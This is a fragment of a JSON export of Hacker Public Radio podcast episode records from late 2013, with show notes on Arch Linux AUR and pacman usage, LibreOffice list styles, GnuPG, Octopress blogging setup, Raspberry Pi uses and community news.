      ","hostid":155,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"\"Wayne Green\",publisher","version":0,"downloads":1506,"valid":1}, {"id":1355,"date":"2013-10-11","title":"LibreOffice 13 Writer A Bullet Style Deconstructed","duration":1091,"summary":"How to define a bullet list style in LibreOffice Writer","notes":"

      In this episode of our LibreOffice series we take one of the Bullet List styles in LibreOffice Writer and go through the Properties window to learn how it is put together

      \n

      Some useful sites

      \n\n\n\n

      \nMy web site is at https://www.ahuka.com/.\n

      \n

      \nRemember to support free software!\n

      ","hostid":198,"series":70,"explicit":1,"license":"CC-BY-SA","tags":"LibreOffice, Writer","version":0,"downloads":1722,"valid":1}, {"id":1356,"date":"2013-10-14","title":"So, you've just installed Arch Linux, now what? Arch Lessons from a Newbie, Ep. 01","duration":1463,"summary":"Manually installing packages from the AUR","notes":"

      Manually installing packages from the AUR

      \n

      Since completing my conversion from Cinnarch to Antergos, (https://antergos.com/antergos-2013-05-12-were-back/, the published tutorial didn't work for me the first time, but the new Antergos forums were most helpful (https://forum.antergos.com/viewtopic.php?f=28&t=944&p=2892#p2892), a few utilities I installed under Cinnarch seem to be unavailable, notably, 'yaourt' Yet An Other User Repository, the package manager for the AUR (Arch User Repositories).[The AUR are unofficial, \"use at your own risk\" repositories, roughly analogous to using a ppa in Ubuntu.] I tried 'sudo pacman -S yaourt' and learned it wasn't found it the repositories (I should note that when I removed the old Cinnarch repos from /etc/pacman.conf, I must have missed including the new Antergos repos somehow). I have since completed the transition.

      \n

      Anyway, some experienced Arch users like Peter64 and Artv61 had asked me why I was using yaourt anyway instead of installing packages manually, which they considered to be more secure. I decided to take the opportunity to learn how to install packages manually, and to my surprise, it was not nearly as complex as I had feared. I had promised a series of podcasts along the theme, \"So, you've just installed Arch Linux, now what?\" This may seem like I've jumped ahead a couple steps, but I wanted to bring it to you while it was fresh in my mind.

      \n

      Your first step may be to ensure you really have to resort to the Arch User Repositories to install the app you are looking for. I'd found Doc Viewer allowed me to access PDFs in Arch, but I really preferred Okular that I'd used in other distros. When 'sudo pacman -S okular' failed to find the package, I assumed it was only available from the AUR. However, a Google search on [ arch install okular ] revealed the package I needed was kdegraphics-okular, which I installed from the standard Arch repos.

      \n

      Once you've determined the package you need exists in the AUR and not in the standard repos, you need to locate the appropriate package build, your Google search will probably take care of that. The URL should be in the form http:aur.archlinux.org/packages/<package-name>. For the sake of example, lets go to https:aur.archlinux.org/packages/google-chrome/. Chromium is already in standard Arch repos, but if you want Chrome, you will have to find it in the AUR. Find the link labeled \"Download the tarball\", it will be a file ending ing .tar.gz Before downloading a file, the Arch Wiki instructions for manually installing packages from the AUR https://wiki.archlinux.org/index.php/Arch_User_Repository recommend creating a designated folder to put them in, they suggest creating a \"builds\" folder in your home directory.

      \n

      If you have a multi-core machine, you may be able to take advantage of a slight compiler performance increase by making adjustments to your /etc/makepkg.conf . Look for \"CFLAGS=\", it should have a first parameter that looks like -march=x86_64 or -march=i686 . Which ever it is, change it to -march=native and eliminate the second parameter that reads -mtune=generic . This will cause gcc to autdetect your processor type. Edit the next line, which begins with \"CXXFLAGS\", to read CXXFLAGS=\"${CFLAGS}\", the just causes the CXXFLAGS setting to echo CFLAGS. Details are located in https://wiki.archlinux.org/index.php/Makepkg.conf.

      \n

      Before installing your first AUR package, you will have to install base-devel, [ pacman -S base-devel , {as root, so become root or use sudo}]. Look for that .tar.gz file you downloaded, still using Chrome as an example, it's google-chrome.tar.gz . Unravel the tarball with \"tar -xvzf google-chrome.tar.gz\". Now, in your ~/builds folder you should have a new directory named \"google-chrome\". Drop down into the new folder. Since user repos are not as trusted as the standard ones, it might be a good idea to open PKGBUILD and look for malicious Bash instructions. Do the same with the .install file. Build the new package with \"make -s\". The \"-s\" switch lets the compiler resolve any unmet dependencies by prompting you for the your sudo password.

      \n

      You will have a new tarball in the format of <application name>-<application version number>-<package revision number>-<architecture>.pkg.tar.xz , in our google-chrome example, the file name was google-chrome-27.0.1453.110-1-x86_64.pkg.tar.xz . We install it with pacman's upgrade function \"pacman -U google-chrome-27.0.1453.110-1-x86_64.pkg.tar.xz\". This command will install the new package and create an RPM.

      \n

      Before running Arch, I did not realize spell checking was centrally configured in Linux, I always assumed each application had it's own spell checker. After installing Arch, I noticed auto-correct wasn't working anywhere. At length, I looked for a solution. I found Libre Office and most browsers rely on hunspell for spell checking functions. To get it working, you just need to install hunspell and the hunspell library appropriate for you language, i.e. \"pacman -S hunspell hunspell-en\"

      \n

      StraightTalk/Tracphone, a quick review.

      \n

      Before leaving for Philadelphia last spring, I decided I needed a cheap smartphone on a prepaid plan. The only one with reliable service in my area is StraightTalk, or Tracphone, sold in Walmart. For $35 a month, they advertise unlimited data, talk, and text. The one drawback, any form of tethering, wired or wireless, violates StraightTalk's TOS (frankly I missed that condition before buying the phone). Hmm, would Chromecast count? Anyway, for some people, no tethering would be an immediate deal breaker. Frankly, I can see the advantages to tethering, but the one scenario I'm most interested in is isolating an infected system from a customer's network, and still be able to access anti malware resources. The budget phone I bought only supports 3G, and I'm not in the habit of streaming media to it, much less sharing it to another device.

      \n

      That doesn't mean I don't use the bandwidth. I put a 16 gig SD card in my phone, and started using it as an additional pipeline to download Linux iso's. Anything I download, I can transfer to my network with ES File Explorer. I downloaded several Gigs in the first month to test the meaning of Unlimited. Towards the end of the month, and after I bought prepaid card for the next month, I had an off and on again data connection, I thought the provider was punishing me for being a hog, it turns out the phone was glitchy, and turning it off and back on again always re-establishes the data connection. Therefore, I am happy to report that StraightTalk actually seems to mean what they say when they advertise \"Unlimited\". Unfortunately, many of my direct downloads fail md5sum check. Direct downloads on 3G come down as fast as 75-100 MBps, but torrents seem to top out at 45MBps, the same as my home connection.

      \n","hostid":131,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Arch,\"Arch User Repositories\",AUR","version":0,"downloads":1782,"valid":1}, {"id":1357,"date":"2013-10-15","title":"Whats in my bag, and other stories","duration":1245,"summary":"A minimalist carry; travelling light","notes":"

      In the show I discuss my philosophy of travelling light, how to travel without baggage or computers, how to setup disposable accounts and protect your accounts from compromise. Also I talk about how I am adjusting to living without a car in Kansas, and other topics.

      \n ","hostid":260,"series":23,"explicit":0,"license":"CC-BY-SA","tags":"\"public transport\"","version":0,"downloads":1611,"valid":1}, {"id":1358,"date":"2013-10-16","title":"How to set up GnuPG, a PGP-compliant encryption system","duration":3107,"summary":"Setting up GnuPG for use with Thunderbird and Mutt","notes":"

      \nKlaatu explains how to set up GnuPG, a PGP-compliant encryption\nsystem, and use it with both Thunderbird and Mutt mail clients.\n

      \n\n

      Links

      \n

      \nSet up GnuPG: https://straightedgelinux.com/blog/howto/setupgnupg.html\n

      \n

      \nUsing Mutt: https://straightedgelinux.com/blog/howto/mutt.html\n

      \n

      \nKlaatu's\nhumble dot-muttrc file: https://gnuworldorder.info/dot-muttrc (there are better ones out there)\n

      \n\n

      \nKlaatu's public key\n

      \n","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"encryption,PGP,GnuPG,Thunderbird,Mutt","version":0,"downloads":1710,"valid":1}, {"id":1359,"date":"2013-10-17","title":"Pipes","duration":1015,"summary":"How to fill and smoke a pipe","notes":"

      \nIn this episode I take a look at a \"low-tech\" pasttime. In the spirit of the campfire episode and the bread baking episode, I give a simple episode about filling and smoking a pipe (tobacco, not 420!).\n

      \n

      Images:

      \n

      \nhttps://imgur.com/a/wYTf3#0\n

      ","hostid":255,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"pipes,smoking,tobacco,howto","version":0,"downloads":1589,"valid":1}, {"id":1360,"date":"2013-10-18","title":"HPR Community News For September2013","duration":6865,"summary":"HPR Community News For September 2013","notes":"

      New hosts

      \n

      Welcome to our new hosts: Gabriel Evenfire,\n and James Michael DuPont (h4ck3rm1k3).

      \n

      Show Updates

      \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
      iddatetitlehost
      13262013-09-02What's in my bagjrobb
      13272013-09-03Frank Bell Bakes BreadFrank Bell
      13282013-09-04A Hacker's Perspective On Schizophreniasigflup
      13292013-09-05TGTM Newscast for 2013-13-08Tgtm News Team
      13302013-09-06Programming languages 3 - Cgarjola
      13312013-09-09A Tale of ChrootNYbill
      13322013-09-10JinglesStitch
      13332013-09-11Introduction / How I Got Into LinuxMatt McGraw (g33kdad)
      13342013-09-12Open Sourcing Mental Illness - Ed FinklerKen Fallon
      13352013-09-13LibreOffice 11 Writer Character StylesAhuka
      13362013-09-16The Rosetta DreamJulian Neuer
      13372013-09-17overdrivesigflup
      13382013-09-18Pumped Pi'sNYbill
      13392013-09-19Legacy Technology: My VictrolaJon Kulp
      13402013-09-20Out and about at OHM 2013Ken Fallon
      13412013-09-23TGTM Newscast for 2013-08-25Tgtm News Team
      13422013-09-24Power Tool Drag Racing!MrGadgets
      13432013-09-25Too Clever For Your Own Goodlaindir
      13442013-09-26Filming a Dinosaur egg hatchingKen Fallon
      13452013-09-27LibreOffice 12 Writer List Styles IntroducedAhuka
      13462013-09-30How to properly evangelize linux or why I use linux as my daily driver.Riley Gelwicks (glwx)
      \nStarted:  7 years, 6 months, 22 days ago\nRenamed HPR:  5 years, 3 months, 29 days ago\nTotal Shows:  1685\nTotal TWAT: 300\nTotal HPR:  1385\nHPR Hosts:  202\nNext free slot: 13\nHosts in Queue: 9\nShows in Queue: 12\nSeptember Downloads: 75,774\nhttps://hackerpublicradio.org/report.bz2\n

      Host Pages

      \n

      Should we update the host pages to include information like PGP Key, a photo etc.

      \n

      TGTM as a general newscast now over

      \nHey, Ken,\n\nI just published TGTM news #103, which is my explanation of its\nclosure and next month's new format.  I now plan to do two audios a\nmonth, one tech piece for HPR and one non-tech for my personal site.\n\nCould you please announce this in the next HPR community news, as well\nas putting this link in the show notes:\n\nhttps://www.talkgeektome.us/tgtmnews-103.xhtml\n\nyours, \n---\nDeepGeek\n

      Other News

      \n
        \n
      • Is it Spam ?
      • \n
      • Mumble HPR - a show about banners, stickers, and HPR tables at events like Linux Fests etc.
      • \n
      • Upcoming Series on \"Units\": Help with Medical Maths? Help with the units used in medicine dosages.
      • \n
      • Fix for the HPR Calendar Page
      • \n
      • Nutters
      • \n
      • Audio Quality Manifesto
      • \n
      • Creative Commons
      • \n
      • Put shows in the FTP root, just [A-Za-z09]
      • \n
      • Return of reserved slot ?
      • \n
      • The free software song https://www.gnu.org/music/free-software-song.html
      • \n
      \n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":1569,"valid":1}, {"id":1361,"date":"2013-10-21","title":"SFS and Linux Camp","duration":1197,"summary":"Software Freedom School helps anyone interested in expanding their knowledge of free software","notes":"

      \nHostname and email address: David Willson DLWillson@thegeek.nu , Gary (Garheade) Romero GARomero@thegeek.nu, Troy Ridgley TRRidgley@thegeek.nu\n

      \n

      \nThe Software Freedom Society/School is a local movement to help anyone interested in expanding their knowledge of free software. Linux Camp, the latest success of SFS is discussed along with several of our other past and future projects.\n

      \n

      \nWe hope to do another show soon, a Linux Camp Radio Show. We said in this interview that Linux Camp was a series of \"real world task\" labs, and we think that with a little work, they would make a good radio show. A show that an aspiring Linux SysAdmin, especially one that is studying for the LPIC-1 exams, could use as a list of challenge tasks to reinforce their skills.\n

      \n

      \nThis is the book that we're using in our study groups:\n

      \n
      \n  CompTIA Linux+ Study Guide\n  Publication Date: January 14, 2013\n  ISBN-10: 1118531744\n  ISBN-13: 978-1118531747\n
      \n

      \nThe Linux Camp document is here for now:\n

      \n

      \n https://zimbra.thegeek.nu/home/dlwillson@thegeek.nu/Shared/SFS/Linux%20Camp%202013/SFS%20Linux%20Camp.odt\n

      \n

      \nEventually, we'll clean it up and put it on our website.\n

      \n

      \nOur goal is to build a fully free (libre) knowledge-sharing group with learning and payment options that work for everyone, from the penny-pinching enthusiast to the well-funded professional.\n

      \n

      \nTo that end, we want your suggestions and welcome your feedback!\n

      \n

      \nTo find out more about SFS and it's upcoming projects, go to: https://www.sofree.us\n

      \n

      \nTo give feedback, leave a comment here or email any of the authors above. To join the conversation, send the word \"subscribe\" by email to sfs-request@thegeek.nu.\n

      ","hostid":261,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"SFS,Software Freedom School,Linux Camp","version":0,"downloads":1504,"valid":1}, {"id":1362,"date":"2013-10-22","title":"Fixing a bad RSS feed","duration":1267,"summary":"Perl scripts to modify broken RSS feeds on the fly","notes":"

      \nThere have been problems with the podcast feed for \"mintCast\",\napparently as a result of a bug in Wordpress. The feed contains\nmultiple \"enclosure\" tags containing the same audio over and over\nagain. While the mintCast hosts are looking for a fix I would like to\nfind a local work-around.\n

      \n

      \nI have also encountered a problem with the \"Pod Delusion Extra\" feed\nwhich contains multiple enclosures in some episodes. Unlike the\n\"mintCast\" example I don't want to lose these enclosures but want to\nfind a way of repackaging them into individual episodes.\n

      \n

      \nThese problems affect some podcatchers, the modified Bashpodder I use\nbeing amongst them. To counteract this problem I have written two\nshort Perl scripts to copy and clean each feed before submitting it to\nmy podcatcher.\n

      \n

      \n Detailed notes:
      \nDealing_with_bad_RSS_feeds.html\n

      \n","hostid":225,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"RSS,Perl,podcast,scripting","version":0,"downloads":1509,"valid":1}, {"id":1363,"date":"2013-10-23","title":"Some pacman Tips By Way of Repacing NetworkManager With WICD","duration":1177,"summary":"So you've just installed Arch Linux now what? Arch Lessons from a Newbie Ep 02: Some pacman tips","notes":"

      A while back, I used my Arch laptop to pre-configure a router for a customer, which of course required me set up a static IP on my eth0. I should have done this from the command line, instead I used the graphical Network Manager. I had a lot of trouble getting the graphical application to accept a change in IP, and in getting to go back to DHCP when I was done, and I wound up going back and forth between the Network Manager and terminal commands. I've mentioned before my ISP is behind two NATed networks, the router in the outbuilding where the uplink to the ISP is (this is also the network my server is on) and the router in my house. The static IP I used for the customer router configuration was in the same address range as my \"outside\" network Though I successfully got eth0 back on DHCP, there was a phantom adapter still out there on the same range as the network my server was on, preventing me from ssh'ing in. I did come across a hack, if I set eth0 to an IP and mask of all zeros, then stopped and started dhcpcd on eth0, I could connect. I had also used the laptop on a customer's WiFi recently, and the connection was horrible.

      \n

      I decided to see if just installing the wicd network manager would clear everything up (and it did), but before installing Wicd, I had to update the system, so first a little bit about pacman

      \n

      Arch's primary package manager is pacman. The -S operator is for sync operations, including package installation, for instance:

      \n# sudo pacman -S <package_name>\n
      ..... installs a package from the standard repos and is more or less equivalent to the Debian instruction ....
      \n# sudo apt-get install <package_name>\n
      The option -y used with -S refreshes the master package list and -u updates all out of date packages, so the command
      \n\n# sudo pacman -Syu .... is equivalent to the Debian instruction .... \n# sudo apt-get update .... followed by .... \n# sudo apt-get upgrade\n# sudo pacman -Syu <package_name1> <package_name2>\n\n
      would update the system, then install the selected packages
      Perhaps because of my slow Internet, the first time through a few of the update packages timed out without downloading, so nothing installed. The second time through, even one of the repos didn't refresh. Thinking this was a connectivity problem, I kept trying the same update command over and over. Finally, I enlisted the help of Google.
      'pacman -Syy' forces a refresh of all package lists \"even if they appear to be up to date\". This seems to automagically fix the timeout and connection problems, and the next time I ran the update, it completed without complaint. I was mad at myself when I found the solution, because I remember I'd had the exact same problem and the exact same solution before and had forgotten them. Podcasting your errors is a great way of setting them in your memory.
      About the same time, I ran out of space on my 10Gb root partition. I remembered Peter64 had a similar problem, but I found a different solution than he did.
      \n# sudo pacman -Sc\n
      .... cleans packages that are no longer installed from the pacman cache as well as currently unused sync databases to free up disk space. I got 3Gb back! 'pacman -Scc' removes all files from the cache.
      https://wiki.archlinux.org/index.php/Wicd
      Use pacman to install the package 'wicd' and if you want a graphical front end, 'wicd-gtk' or 'wicd-kde' (in the AUR). For network notifications, install 'notification-daemon', or the smaller 'xfce4-notifyd' if you are NOT using Gnome.
      None of this enables wicd or makes it your default network manager on reboot, that you must do manually. First, stop all previously running network daemons (like netctl, netcfg, dhcpcd, NetworkManager) you probably won't have them all. Lets assume for the rest of the terminal commands, you are root, then do:
      \n# systemctl stop <package_name> i.e # systemctl stop NetworkManager\n

      Then we have to disable the old network tools so they don't conflict with wicd on reboot.
      \n# systemctl disable <package_name> i.e. # systemctl disable NetworkManager\n

      Make sure your login is in the users group
      \n# gpasswd -a USERNAME users\n

      Now, we have to initialize wicd
      \n# systemctl start wicd.service\n# wicd-client\n

      Finally, enable wicd.service to load on your next boot up
      \n# systemctl enable wicd.service\n
      ","hostid":131,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Arch,pacman,wicd","version":0,"downloads":1485,"valid":1}, {"id":1364,"date":"2013-10-24","title":"Vintage Tech Iron Pay Phone Coin Box","duration":1027,"summary":"How the money was tallied in old payphones","notes":"

      A review of vintage tech, in the form of an iron pay phone coin box.

      \n

      \n\"photo

      \n\"photo

      \n\"photo

      \n\"photo

      \n\"photo

      \n

      \n","hostid":131,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"\"vintage technology\",\"mechanical savings bank\",\"payphone coin box\"","version":0,"downloads":1695,"valid":1}, {"id":1365,"date":"2013-10-25","title":"LibreOffice 14 Writer A Numbered List Style Deconstructed","duration":1332,"summary":"How to define a numbered list style in LibreOffice Writer","notes":"

      In this episode of our LibreOffice series we take one of the Numbered List styles in LibreOffice Writer and go through the Properties window to learn how it is put together

      \n\n

      Some useful sites

      \n\n\n\n

      \nMy web site is at https://www.ahuka.com/.\n

      \n

      \nRemember to support free software!\n

      ","hostid":198,"series":70,"explicit":0,"license":"CC-BY-SA","tags":"LibreOffice, Writer","version":0,"downloads":1666,"valid":1}, {"id":1366,"date":"2013-10-28","title":"What I do with my Raspberry Pi","duration":1746,"summary":"Some suggested uses the Rasperry Pi can be put to","notes":"

      \nUse case 1: Astronomy computer\n

      \n

      \nDobsonian telescope https://en.wikipedia.org/wiki/Dobsonian_telescope\n

      \n

      \nKstars desktop planetarium and star chart program (should be in most distributions repositories as one of the KDE education packages) https://edu.kde.org/kstars/\n

      \n

      \nThe Messier catalog https://messier.seds.org/\nThe Messier marathon https://messier.seds.org/xtra/marathon/marathon.html\n

      \n

      \nTexas Star Party amateur telescope making page https://texasstarparty.org/activities/atm/2013-2/ my entry is about 2/3s of the wat down the page and you can see the Motorola lapdock mounted on my 20 inch (50.8 cm) dobsonian telescope on the right of the photo (the Raspberry Pi is behind the screen of the lapdock). The whole telescope isn't shown, it's about 9 feet (2.75 meters) tall.\n

      \n

      \nUse case 2: Home server\n

      \n

      \nMashpodder podcast catcher: https://code.google.com/p/mashpodder/\nBashpodder: https://lincgeek.org/bashpodder/\n

      \n

      \nRsync programs I'm using on Android\nBotsync SSH SFTP https://botsync.com/ simple to setup\nRsync backup for Android https://android.kowalczuk.er/rsync4android/ full featured and uses dropbear ssh keys for authentication. Between recording the audio and writing the show notes, I switched completely to using Rsync backup to sync my podcasts to my Galaxy S4 phone\n

      \n

      \nNot mentioned on the podcast but the audio player I'm using on Android is Music Folder Player https://sites.google.com/site/zorillasoft/\n

      \n

      \nThat gui admin tool for samba I couldn't remember while recording: gadmin-samba (useful tool despite my PEBCAK problem) https://freecode.com/projects/gadmin-samba\n

      \n

      \nCalibre ebook management tool https://calibre-ebook.com/\n

      \n

      \nDistributions discussed\nRaspbian https://www.raspbian.org/ Debian for the Raspberry Pi\nPiBang https://pibanglinux.org/ Raspbian derivative using openbox and conky setup from Crunchbang\nCrunchbang https://crunchbang.org/ No cruft linux distribution based on debian with Openbox and a great conky configuration (audio and show notes for this podcast edited on laptop running Crunchbang). \n

      ","hostid":262,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"raspberry pi,raspbian,pibang,crunchbang,astronomy,kstars,mashpodder,bashpodder,calibre","version":0,"downloads":1823,"valid":1}, {"id":1367,"date":"2013-10-29","title":"I'm Sorry Dan","duration":608,"summary":"jezra is sorry ","notes":"

      \nHow many times has Dan asked me to run the spec test before pushing code to staging? probably 5. I'm sorry Dan.\n

      \n

      \nThe script I used as my pre-commit hook is available at https://hoof.jezra.net/snip/of\n

      \n

      \nOh, have I ever mentioned how much I dislike convoluted nomenclature?\nWhen I use 'git add', apparently I am adding a file or a change to the 'index',\nand it is the index that gets commited when I run 'git commit'\n

      ","hostid":243,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"git,hook,\"pre-commit hook\"","version":0,"downloads":1483,"valid":1}, {"id":1368,"date":"2013-10-30","title":"How to Fold a Fitted Sheet","duration":809,"summary":"You might think that folding a fitted sheet neatly is a challenge. Not Jon Kulp, he shows us how","notes":"

      How to Fold a Fitted Sheet

      \n\n

      In this episode I try to teach you how to fold a fitted sheet,\nsomething that could earn you sheet-folding duties for the rest\nof your life.\n\nSee the photo gallery here.\n

      \n

      [Pictures recovered and uploaded to HPR 2015-06-19]

      \n","hostid":238,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"fitted sheet,folding","version":0,"downloads":1467,"valid":1}, {"id":1369,"date":"2013-10-31","title":"NaNoWriMo Prep","duration":812,"summary":"twitter handle is whitehatmatt","notes":"

      \nI was prepping for National November Writing month (NaNoWriMo), and realized that I hadn't contributed a show in several years. I thought I would give a rundown on what NaNoWriMo is and what tools I use to write with. NaNoWriMo is where people get together to each write a 50,000 word novel rough draft in 30 days. It's not an easy task, and there are some tricks and tools that will help. My focus is on minimalism.\n

      \n

      \nFocus Writer = https://gottcode.org/focuswriter
      \nNaNoWriMo = https://nanowrimo.org/\n

      \n\t","hostid":145,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"writing,NaNoWriMo,\"Focus Writer\"","version":0,"downloads":1406,"valid":1}, {"id":1370,"date":"2013-11-01","title":"Blogging With Octopress","duration":1511,"summary":"Using Octopress to create a blog with tools already familiar to you as a hacker.","notes":"

      Blogging with Octopress

      \n\n

      Static html site generators automate many of the tedious steps that are necessary\nto create website. Octopress is a static html generator that automates many of the tedious tasks of static html site generators, and comes with a number of reasonable presets, configured right out of the box.

      \n\n

      Static HTML Site Generators I looked at:

      \n\n

      \n I settled on octopress for the following reasons:\n

      \n
      \n
      SASS
      \n
      \n Sass adds additional functionality to css such as variables, mixins, \n scopes, and was a tool that I had previously worked with.
      \n
      Twitter Bootstrap
      \n
      \n Twitter bootstrap is a set of templates that produce nice looking \n pages that are standards compliant, and adaptive so that they look \n good at any screen resolution.
      \n\n
      HTML5 Video Plugin
      \n
      \n I ended up creating my own, but Octopress has a HTML5 video plugin. \n Unfortunately this only supported H264 video, so I created my own to \n serve H264, Webm, and Ogv.
      \n\n
      Deployment scripts
      \n
      \n Octopress comes with rsync, and github pages support out of the box, \n so you can deploy your site with very little effort.
      \n
      \n \n

      Requirements:

      \n
        \n
      • Ruby 1.9.3 or above
      • \n
      • Git
      • \n
      • HTML knowledge
      • \n
      • Text Editor & Terminal
      • \n
      \n\n

      Install Requirements:

      \n

      In Ubuntu 12.04 I did the following:

      \n\n
      \nsudo apt-get install emacs git zlib1g-dev openssl libopenssl-ruby1.9.1 \\\nlibssl-dev libruby1.9.1 libreadline-dev\n
      \n\n

      Install ruby through rbenv

      \n\n

      rbenv (https://rbenv.org)

      \n
      \ngit clone https://github.com/sstephenson/rbenv.git ~/.rbenv\n# set environment in ~/.bash_profile.  Change this to ~/.zshrc if using zshell\necho 'export PATH=\"$HOME/.rbenv/bin:$PATH\"' >> ~/.bash_profile\necho 'eval \"$(rbenv init -)\"' >> ~/.bash_profile\nsource ~/.bash_profile # You can change to .zshrc or .bashrc\n
      \n\n

      Install ruby-build to make installing ruby easy

      \n
      \ngit clone https://github.com/sstephenson/ruby-build.git ~/.rbenv/plugins/ruby-build\n
      \n\n

      Install ruby

      \n
      \nrbenv install 1.9.3-p194\nrbenv rehash\n
      \n\n

      Octopress

      \n

      https://octopress.org\n

      Install Octopress

      \n
      \ngit clone git://github.com/imathis/octopress.git octopress\ncd octopress\nrbenv local 1.9.3-p194  \n
      \n\n

      Install Ruby Requirements

      \n
      \ngem install bundler\nrbenv rehash\nbundle install  \n
      \n\n\n

      What is rake?

      \n

      Rake is like make but for ruby.

      \n\n

      Use rake scripts to setup and preview blog

      \n
      \nrake -T # list all available rake tasks\nrake install # install themes and default config\nrake preview # generate and view site\n
      \n\n

      Open localhost:4000 in your webbrowser

      \n\n

      Setup Deployment

      \n
      \nrake set_root_dir['blog-test']\nrake setup_github_pages \nrake generate\n# Change the following url to point to your repository\ngit remote add origin https://github.com/HarryGuerilla/blog-test.git\ngit config branch.master.remote origin\ngit add .\ngit commit -m \"initial commit\"\ngit push origin master\nrake deploy # this is where the magic happens\n
      \n\n\n

      Configure Blog

      \n
      \nemacs _config.yml\n# Edit title, author, subtitle\n
      \n\n

      Create First Post & Basic workflow:

      \n
      \nrake new_post\nemacs post\ngit add .\ngit commit -m \"added new post\"\n
      \n\n

      Publish Blog

      \n
      \nrake deploy\n
      ","hostid":263,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Blogging, html, Static HTML,Website","version":0,"downloads":1538,"valid":1}, {"id":1371,"date":"2013-11-04","title":"The Lost Banner of HPR","duration":2682,"summary":"The sad tale of the lost HPR banner, and what to do next","notes":"

      Pokey - Patrick Dailey (pdailey03 @@ gmail-dot-com) David Whitman davidWHITMAN (davidglennwhitman @@ gmail-dot-com)

      \n

      The HPR Booth Banner is LOST! Shipped to wrong address and 'POOF' its gone! What should we do in the future? Buy 2 replacement banners or extra frames What about something doing something else?

      \n

      Pokey saw a really lightweight banner in a bank -

      \n

      Equipment that is nice to have to do a Linux Fest (Pokey has done 3 HPR Tables at Linux Fests -David has done tables two years at Linux Fest Northwest)

      \n
        \n
      1. Backdrop
      2. \n
      3. Table Cloth
      4. \n
      5. Stickers and other swag to hand out
      6. \n
      7. A H1 Zoom or other recording device
      8. \n
      \n

      David owes a Coffee Mug design to the HPR Community - Richard Q did some graphics and David is lazy or busy and has not got it done.

      \n

      Stickers available at 123stickers.com

      \n

      Business Cards moo.com HPR Nosy Guy HPR Ovals Pictures from Picture Prints (easy to do and cheap!) Tee Shirts Green HPR Round Sticker HPR Mini Bumper Sticker Buttons (Old School and no longer available) Do Your Own art work

      \n

      QRCode book of all episodes 23:50

      \n

      HPR has had no table at SCALE

      \n

      David wants to add Sonar to the table content

      \n

      Banner Defined - The one Pokeys Mom made is still not lost

      \n

      There should be a PDF with these show notes that has a shitty logo page so you can see some stickers that can be ordered. The stickers are very good quality as are the T-shirts. Richard Querin and others have done the artwork.

      \n

      hpr1371.pdf

      \n","hostid":128,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"hpr,banner","version":0,"downloads":1445,"valid":1}, {"id":1372,"date":"2013-11-05","title":"Rootstrikers.org and federal election commission data processing","duration":679,"summary":"Rootstrikers: reducing the corrosive influence of money in politics","notes":"

      \nIn the show I introduce rootstrikers and describe my current project to process the FEC data.\n

      \n

      \nDifferent Rootstriker Projects that I worked on :\n

      \n

      \nThe Anti Corruption Pledge : https://bitbucket.org/h4ck3rm1k3/the-anti-corruption-pledge\n

      \n

      \nCongress Legislators\nhttps://github.com/unitedstates/congress-legislators\n

      \n

      \nRootstrikers Wikipedia Interface\n

      \n\n\n\n

      \nFederal Election Commission aggregation\n

      \n

      \nFech, the ruby interface :\nhttps://github.com/NYTimes/Fech\n

      \n

      \nThe documentation of the fields, with a generated python class interface\n https://github.com/h4ck3rm1k3/FEC-Field-Documentation \n

      \n

      \nStarting point of the data repository in yaml format (v1)\n https://github.com/h4ck3rm1k3/federal-election-commission-aggregation \n

      \n

      \nThe years are split into git submodules\n

      \n\n\n\n

      \nExperimental C++ Reader(not finished)\n

      \n\n\n\n

      \ntwitter : https://twitter.com/h4ck3rm1k3\n

      \n

      \nG+ : https://plus.google.com/u/0/106785192512941136314/posts\n

      ","hostid":260,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"politics,\"campaign finance\",corruption","version":0,"downloads":1418,"valid":1}, {"id":1373,"date":"2013-11-06","title":"01 - Why Do We Need Privacy, And Isn't It A Waste Of Time Anyway?","duration":1343,"summary":"The need for privacy and the practicality of achieving it","notes":"

      In this episode of our Privacy and Security series we look at two issues. The first is why we need Privacy, and the second is whether it is practical in the 21st century. I hope to show that we do need it, and that it is both practical and surprisingly easy to do some simple things to obtain it.

      \n

      Some useful sites

      \n \n

      This article appears on my web site at https://www.zwilnik.com/.

      \n

      Remember to support free software!

      ","hostid":198,"series":74,"explicit":0,"license":"CC-BY-SA","tags":"privacy,security","version":0,"downloads":1673,"valid":1}, {"id":1374,"date":"2013-11-07","title":"Updating The 2009 LifeHacker QuadCore Hackintosh to Mavericks","duration":677,"summary":"Taking a Mountain Lion Hackintosh to Mavericks","notes":"

      \nThere are more details here:\n

      \n

      \nhttps://rich-blog.blogspot.com/2013/10/updating-2009-lifehacker-quadcore.html\n

      ","hostid":264,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Hackintosh,OS X,Mavericks","version":0,"downloads":1454,"valid":1}, {"id":1375,"date":"2013-11-08","title":"LibreOffice 15 Writer Nested Lists Introduced","duration":1243,"summary":"Introducing nested lists in LibreOffice Writer","notes":"

      In this episode of our LibreOffice series we look at Nested lists, a tricky but powerful techinque to use.

      \n\n\n

      Some useful sites

      \n\n\n\n

      \nMy web site is at https://www.ahuka.com/.\n

      \n

      \nRemember to support free software!\n

